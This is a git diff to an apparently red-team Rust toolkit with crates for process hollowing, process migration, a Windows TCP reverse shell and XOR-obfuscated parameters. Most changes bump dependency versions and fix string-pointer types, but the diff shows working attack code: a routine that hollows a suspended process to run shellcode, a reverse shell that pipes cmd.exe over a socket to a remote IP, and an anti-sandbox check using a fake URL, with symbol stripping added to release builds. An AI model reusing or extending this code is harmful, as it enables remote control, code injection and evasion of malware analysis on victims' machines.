diff --git a/.custom_shields/process_hollowing.json b/.custom_shields/process_hollowing.json index 245d228..3bdc9d4 100644 --- a/.custom_shields/process_hollowing.json +++ b/.custom_shields/process_hollowing.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "process_hollowing", - "message": "1.4.2", + "message": "1.4.3", "color": "blue" } \ No newline at end of file diff --git a/.custom_shields/tcp_reverse_shell.json b/.custom_shields/tcp_reverse_shell.json index d21fc47..18e6b96 100644 --- a/.custom_shields/tcp_reverse_shell.json +++ b/.custom_shields/tcp_reverse_shell.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "tcp_reverse_shell", - "message": "1.1.3", + "message": "1.1.4", "color": "blue" } \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index a8979f7..2a65738 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4,9 +4,9 @@ version = 3 [[package]] name = "autocfg" -version = "1.0.1" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "bitflags" @@ -16,9 +16,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "cc" -version = "1.0.72" +version = "1.0.73" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22a9137b95ea06864e018375b72adfb7db6e6f68cfc8df5a04d00288050485ee" +checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" [[package]] name = "cfg-if" @@ -28,9 +28,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "libc" -version = "0.2.117" +version = "0.2.119" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c" +checksum = "1bf2e165bb3457c8e098ea76f3e3bc9db55f87aa90d52d0e6be741470916aaa4" [[package]] name = "memoffset" @@ -56,7 +56,7 @@ dependencies = [ [[package]] name = "process_hollowing" -version = "1.4.1" +version = "1.4.3" dependencies = [ "nix", "rco_config", @@ -66,7 +66,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.6.1" +version = "1.6.2" dependencies = [ "nix", "rco_config", @@ -87,7 +87,7 @@ dependencies = [ [[package]] name = "tcp_reverse_shell" -version = "1.1.3" +version = "1.1.4" dependencies = [ "rco_config", "windows", @@ -95,9 +95,9 @@ dependencies = [ [[package]] name = "windows" -version = "0.32.0" +version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbedf6db9096bc2364adce0ae0aa636dcd89f3c3f2cd67947062aaf0ca2a10ec" +checksum = "0128fa8e65e0616e45033d68dc0b7fbd521080b7844e5cad3a4a4d201c4b2bd2" dependencies = [ "windows_aarch64_msvc", "windows_i686_gnu", @@ -108,33 +108,33 @@ dependencies = [ [[package]] name = "windows_aarch64_msvc" -version = "0.32.0" +version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8e92753b1c443191654ec532f14c199742964a061be25d77d7a96f09db20bf5" +checksum = "cd761fd3eb9ab8cc1ed81e56e567f02dd82c4c837e48ac3b2181b9ffc5060807" [[package]] name = "windows_i686_gnu" -version = "0.32.0" +version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a711c68811799e017b6038e0922cb27a5e2f43a2ddb609fe0b6f3eeda9de615" +checksum = "cab0cf703a96bab2dc0c02c0fa748491294bf9b7feb27e1f4f96340f208ada0e" [[package]] name = "windows_i686_msvc" -version = "0.32.0" +version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "146c11bb1a02615db74680b32a68e2d61f553cc24c4eb5b4ca10311740e44172" +checksum = "8cfdbe89cc9ad7ce618ba34abc34bbb6c36d99e96cae2245b7943cd75ee773d0" [[package]] name = "windows_x86_64_gnu" -version = "0.32.0" +version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c912b12f7454c6620635bbff3450962753834be2a594819bd5e945af18ec64bc" +checksum = "b4dd9b0c0e9ece7bb22e84d70d01b71c6d6248b81a3c60d11869451b4cb24784" [[package]] name = "windows_x86_64_msvc" -version = "0.32.0" +version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "504a2476202769977a040c6364301a3f65d0cc9e3fb08600b2bda150a0488316" +checksum = "ff1e4aa646495048ec7f3ffddc411e1d829c026a2ec62b39da15c1055e406eaa" [[package]] name = "xor_params" diff --git a/Cargo.toml b/Cargo.toml index a7a2be2..f2c6032 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -8,3 +8,7 @@ members = [ "process_hollowing", "xor_params", ] + +[profile.release] +lto = true +strip = true diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index 376c7ad..c82f7a6 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -1,9 +1,9 @@ [package] name = "process_hollowing" -version = "1.4.2" +version = "1.4.3" edition = "2021" authors = ["Kevin Conley "] -rust-version = "1.58" +rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -19,7 +19,7 @@ rco_utils = {path = "../rco_utils"} nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.26.0" +windows.version = ">=0.33.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/process_hollowing/src/rco_process_hollowing_windows/mod.rs b/process_hollowing/src/rco_process_hollowing_windows/mod.rs index 4d05492..1e13d3e 100644 --- a/process_hollowing/src/rco_process_hollowing_windows/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows/mod.rs @@ -1,7 +1,7 @@ extern crate windows; use std::{mem, ptr}; use std::ffi::{CString, c_void}; -use windows::Win32::Foundation::PSTR; +use windows::core::{PCSTR, PSTR}; use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA}; @@ -44,10 +44,10 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // Use CreateProcessW to create a suspended process that will be hollowed out for the shellcode // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessW.html - let lp_application_name: PSTR = unsafe { mem::zeroed() }; + let lp_application_name: PCSTR = unsafe { mem::zeroed() }; let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8; - let lp_current_directory: PSTR = unsafe { mem::zeroed() }; + let lp_current_directory: PCSTR = unsafe { mem::zeroed() }; let creation_result = unsafe { CreateProcessA( lp_application_name, lp_command_line, @@ -56,7 +56,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { false, CREATE_SUSPENDED, ptr::null() as *const _, - &lp_current_directory, + lp_current_directory, &startup_info, &mut process_information) }; if !creation_result.as_bool() { diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index 4e47441..b004d3f 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -3,7 +3,7 @@ name = "process_migration" version = "1.6.2" edition = "2021" authors = ["Kevin Conley "] -rust-version = "1.58" +rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -19,7 +19,7 @@ rco_utils = {path = "../rco_utils"} nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.26.0" +windows.version = ">=0.33.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/rco_config/Cargo.toml b/rco_config/Cargo.toml index a90781b..90b9b3e 100644 --- a/rco_config/Cargo.toml +++ b/rco_config/Cargo.toml @@ -3,7 +3,7 @@ name = "rco_config" version = "0.2.0" edition = "2021" authors = ["Kevin Conley "] -rust-version = "1.58" +rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html diff --git a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index 7c41ab5..9c6e416 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -1,9 +1,9 @@ [package] name = "rco_utils" -version = "0.3.0" +version = "0.3.1" edition = "2021" authors = ["Kevin Conley "] -rust-version = "1.58" +rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -13,7 +13,7 @@ antisand = ["windows"] [target.'cfg(windows)'.dependencies] windows.optional = true -windows.version = ">=0.26.0" +windows.version = ">=0.33.0" windows.features = [ "Win32_Foundation", "Win32_Networking", diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index 7a25606..974111f 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -60,7 +60,7 @@ use std::ffi::CString; #[cfg(all(windows, feature = "antisand"))] extern crate windows; #[cfg(all(windows, feature = "antisand"))] -use windows::Win32::Foundation::PSTR; +use windows::core::PCSTR; #[cfg(all(windows, feature = "antisand"))] use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; @@ -70,18 +70,18 @@ pub fn pound_sand() -> bool { // Call InternetOpenA to get a handle that can be used in an actual internet request // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html - let mut lpsz_agent: PSTR = unsafe { mem::zeroed() }; + let mut lpsz_agent: PCSTR = unsafe { mem::zeroed() }; lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; - let lpsz_proxy: PSTR = unsafe { mem::zeroed() }; - let lpsz_proxy_bypass: PSTR = unsafe { mem::zeroed() }; + let lpsz_proxy: PCSTR = unsafe { mem::zeroed() }; + let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() }; let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) }; // Call InternetOpenUrlA on a fake website; if there is a response, it's a sandbox trying to get you to take further action // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html - let mut lpsz_url: PSTR = unsafe { mem::zeroed() }; + let mut lpsz_url: PCSTR = unsafe { mem::zeroed() }; lpsz_url.0 = CString::new("https://www.thisisafakewebsiteorelsetheantisanboxcheckwillfail4sure.com").unwrap().into_raw() as *mut u8; - let lpsz_headers: PSTR = unsafe { mem::zeroed() }; + let lpsz_headers: PCSTR = unsafe { mem::zeroed() }; let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, lpsz_headers, 0, 0, 0) }; if website != 0 as _ { return true diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index a67b9d8..45143f3 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -1,9 +1,9 @@ [package] name = "tcp_reverse_shell" -version = "1.1.3" +version = "1.1.4" edition = "2021" authors = ["Kevin Conley "] -rust-version = "1.58" +rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -11,7 +11,7 @@ rust-version = "1.58" rco_config = {path = "../rco_config"} [target.'cfg(windows)'.dependencies] -windows.version = ">=0.26.0" +windows.version = ">=0.33.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs index 20b2a0c..8357ae0 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs @@ -1,7 +1,8 @@ extern crate windows; use std::{mem, ptr}; use std::ffi::{CString, c_void}; -use windows::Win32::Foundation::{HANDLE, PSTR}; +use windows::core::{PCSTR, PSTR}; +use windows::Win32::Foundation::HANDLE; use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup}; use windows::Win32::Security::SECURITY_ATTRIBUTES; use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA}; @@ -46,7 +47,7 @@ pub fn shell(ip: &str, port: u16) { // This is magic that I don't really understand but seems to work let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; // Create a PSTR and use the IP string as the 0 field - let mut ip_pstr: PSTR = unsafe { mem::zeroed() }; + let mut ip_pstr: PCSTR = unsafe { mem::zeroed() }; ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8; // Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now let conversion_result = unsafe { inet_pton(AF_INET_I32, ip_pstr, sin_addr_ptr) }; @@ -78,13 +79,13 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_application_name: PSTR = unsafe { mem::zeroed() }; + let lp_application_name: PCSTR = unsafe { mem::zeroed() }; let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; lp_command_line.0 = CString::new("C:\\Windows\\System32\\cmd.exe").unwrap().into_raw() as *mut u8; let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() }; let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() }; let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() }; - let lp_current_directory: PSTR = unsafe { mem::zeroed() }; + let lp_current_directory: PCSTR = unsafe { mem::zeroed() }; let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() }; let create_res = unsafe { CreateProcessA(lp_application_name, diff --git a/xor_params/Cargo.toml b/xor_params/Cargo.toml index 8bbcd96..9e3fd11 100644 --- a/xor_params/Cargo.toml +++ b/xor_params/Cargo.toml @@ -3,7 +3,7 @@ name = "xor_params" version = "1.1.1" edition = "2021" authors = ["Kevin Conley "] -rust-version = "1.58" +rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html